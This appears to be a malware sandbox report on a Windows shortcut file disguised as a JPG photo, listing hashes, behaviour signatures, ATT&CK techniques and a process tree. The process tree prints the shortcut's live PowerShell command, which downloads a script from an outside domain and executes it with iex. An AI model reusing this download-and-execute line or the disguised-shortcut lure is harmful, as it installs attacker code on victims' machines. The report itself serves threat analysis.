c1ad57529fc18ebb05fcffd5b49d453133a8f67e4b6e848065bf6ae9727abac5

Analysis

max time kernel
148s
max time network
157s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
25/07/2026, 11:06

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
IMG_20260724_141910.jpg.lnk
Size 1KB
Sample260725-m7le2awsbt
SHA256 c1ad57529fc18ebb05fcffd5b49d453133a8f67e4b6e848065bf6ae9727abac5
MD5 0714fd6e20a6f2f9b60c08e014896198
SHA1 9ba2701a532b67633300151f96efb921bae242c3
SHA512 ec343750709d526e94851192c12eb4503b76e29c8da134e1773707f04e695525539561dec018404a5ad3472148ec9ff461438429693af5729bf51d7fb4869446
TLSH
T10D21E1211BF30329DABB8B39587663118732BA0ADF55CF9F138042949964120F4A8F3B
MD5 SHA1 SHA512 TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 4 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
4	5724	powershell.exe
8	5724	powershell.exe
10	5724	powershell.exe
12	5724	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1380	cmd.exe

Suspicious behavior: EnumeratesProcesses 43 IoCs

pid	Process
5724	powershell.exe
5724	powershell.exe
5724	powershell.exe
5724	powershell.exe
5724	powershell.exe
5724	powershell.exe
5724	powershell.exe
5724	powershell.exe
5724	powershell.exe
5724	powershell.exe
5724	powershell.exe
5724	powershell.exe
5724	powershell.exe
5724	powershell.exe
5724	powershell.exe
5724	powershell.exe
5724	powershell.exe
5724	powershell.exe
5724	powershell.exe
5724	powershell.exe
5724	powershell.exe
5724	powershell.exe
5724	powershell.exe
5724	powershell.exe
5724	powershell.exe
5724	powershell.exe
5724	powershell.exe
5724	powershell.exe
5724	powershell.exe
5724	powershell.exe
5724	powershell.exe
5724	powershell.exe
5724	powershell.exe
5724	powershell.exe
5724	powershell.exe
5724	powershell.exe
5724	powershell.exe
5724	powershell.exe
5724	powershell.exe
5724	powershell.exe
5724	powershell.exe
5724	powershell.exe
5724	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	5724	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1380 wrote to memory of 5724	1380	cmd.exe	90
PID 5724 wrote to memory of 4124	5724	powershell.exe	91
PID 4124 wrote to memory of 3316	4124	csc.exe	92

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\IMG_20260724_141910.jpg.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1380
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iwr (@('reservphoto','instay.one')[0,1] -join $NZHuGi4) -useb | iex
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5724
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\c31fjp3n\c31fjp3n.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4124
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3ADC.tmp" "c:\Users\Admin\AppData\Local\Temp\c31fjp3n\CSCA0B031B1944C0A8F7B4737694DD524.TMP"
      4⤵
      PID:3316

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

RES3ADC.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES3ADC.tmp
Size 1KB
SHA256 90a1fceb7d6affdb47c3ca72df10736ea708abe495e27dec85d73b948f3da73a
MD5 08a268a7571c96b3a74f0374a85c9c53
SHA1 0af48a3ae7403abf3fcf9051219f8a206aae6af8
SHA512 814fca10eb737b3fc1a624f909d5e957350f4a0442ac1a249cf70a0cac64ade2d0f0415998c079ee676cf57e66604e2b139ade41e0274d51635602d7e81bfc2c
TLSH
T15F218C0553E9471EF0B34B3169F6032F9678FDB4EFA2AB6A9540422C1C51504EEE0B72
MD5 SHA1 SHA512 TLSH

Submit Download

c31fjp3n.dll

Path C:\Users\Admin\AppData\Local\Temp\c31fjp3n\c31fjp3n.dll
Size 3KB
SHA256 fde45e852b738ce71ad5785ea9da06e952ef53fbe6c8546c8047753a5bec5e26
MD5 6714c9ae1472e29919a1f239f5b8fccc
SHA1 3b5d9ebd8c5007c13f7e4f7947282b2305cd58b9
SHA512 83f6af7e563395923fe2ccf65940c6ced40c6062136e7fca732c20c3668fb6bb14b4be7c65fe9767f17566cb6afc569309bc08b118e57718db44df6be015d37b
TLSH
T11A51CC1A97EC092BE4670734BFE3075327B8FC209FB3576959804228AC60B546E31BB1
MD5 SHA1 SHA512 TLSH

Submit Download

CSCA0B031B1944C0A8F7B4737694DD524.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\c31fjp3n\CSCA0B031B1944C0A8F7B4737694DD524.TMP
Size 652B
SHA256 e9dae8f1d852d0cb7219fd74738effd92800a8f38ecfb898b8643cba525d8c78
MD5 9488afd66de2a68d9d6fbb66f91b2c9e
SHA1 bb23feee31bbeb275aeae8bbf46c1d18191f2480
SHA512 92169b95903670d5df805cec72df430b1c4b5900f7e843d898d420f63282176b19db530639f56b7e3d61d553abc7cf9e035640a43692ce5190f0e3243857b3f4
TLSH
T1B5F05E0963F8020EF0F34B70BDF6436395A9BC75DE72A7ED1540436D28649109962FB2
MD5 SHA1 SHA512 TLSH

Submit Download

c31fjp3n.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\c31fjp3n\c31fjp3n.0.cs
Size 203B
SHA256 5473b5550a65171ee7d5977d673c97e41e9ec16fad10ec5ab8aa3b7c798577a6
MD5 171a88ab4fad87acfd2e5032eb0c6113
SHA1 754de0e7656c558d335710fc41cbf196d39c1a19
SHA512 87ef6ac53a00d21f2df4d81ec5956861a4b539b10f5855345aa068c0d9d971f3329477e485471eb40b9eeea59f01fd3c42c4ab2f25e71d825cbf3586be0206b8
TLSH
T13AD023147BF36D34100304130C4661FCB713812B169E26057DF81300CF4700A0275919
MD5 SHA1 SHA512 TLSH

Submit Download

c31fjp3n.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\c31fjp3n\c31fjp3n.cmdline
Size 369B
SHA256 87b7961b4b688c15c2c1020bb1cfa217743a3b7011accd49bd0d755edcf1e540
MD5 b1ae2ad954a4ed4928e6891f3cc82094
SHA1 f1d0ebc0236836165b4f99f58b4230ccf48533b7
SHA512 83dd39a351eedb3e8876f97736105b0dbbbd6ab866910d51caaf070d159fd001d5b878cd71755e5ecf062150bba69a55fa35ce838954a80b8c3c6d9744ccc62f
TLSH
T1AFE06F2A4247C67D01EE140B226BC8AC83762A872B833FA49460C40DE027800EBD2B82
MD5 SHA1 SHA512 TLSH

Submit Download

memory/5724-8-0x00007FF9C39F0000-0x00007FF9C4394000-memory.dmp

Download

memory/5724-10-0x00007FF9C39F0000-0x00007FF9C4394000-memory.dmp

Download

memory/5724-11-0x00007FF9C39F0000-0x00007FF9C4394000-memory.dmp

Download

memory/5724-12-0x00007FF9C39F0000-0x00007FF9C4394000-memory.dmp

Download

memory/5724-13-0x00007FF9C39F0000-0x00007FF9C4394000-memory.dmp

Download

memory/5724-14-0x00007FF9C39F0000-0x00007FF9C4394000-memory.dmp

Download

memory/5724-9-0x00007FF9C39F0000-0x00007FF9C4394000-memory.dmp

Download

memory/5724-2-0x00007FF9C3B7F000-0x00007FF9C3B80000-memory.dmp

Download

memory/5724-28-0x000001E7F57A0000-0x000001E7F57A8000-memory.dmp

Download

memory/5724-7-0x00007FF9C39F0000-0x00007FF9C4394000-memory.dmp

Download

memory/5724-5-0x000001E7F57B0000-0x000001E7F57D2000-memory.dmp

Download

memory/5724-6-0x00007FF9C39F0000-0x00007FF9C4394000-memory.dmp

Download

memory/5724-32-0x00007FF9C39F0000-0x00007FF9C4394000-memory.dmp

Download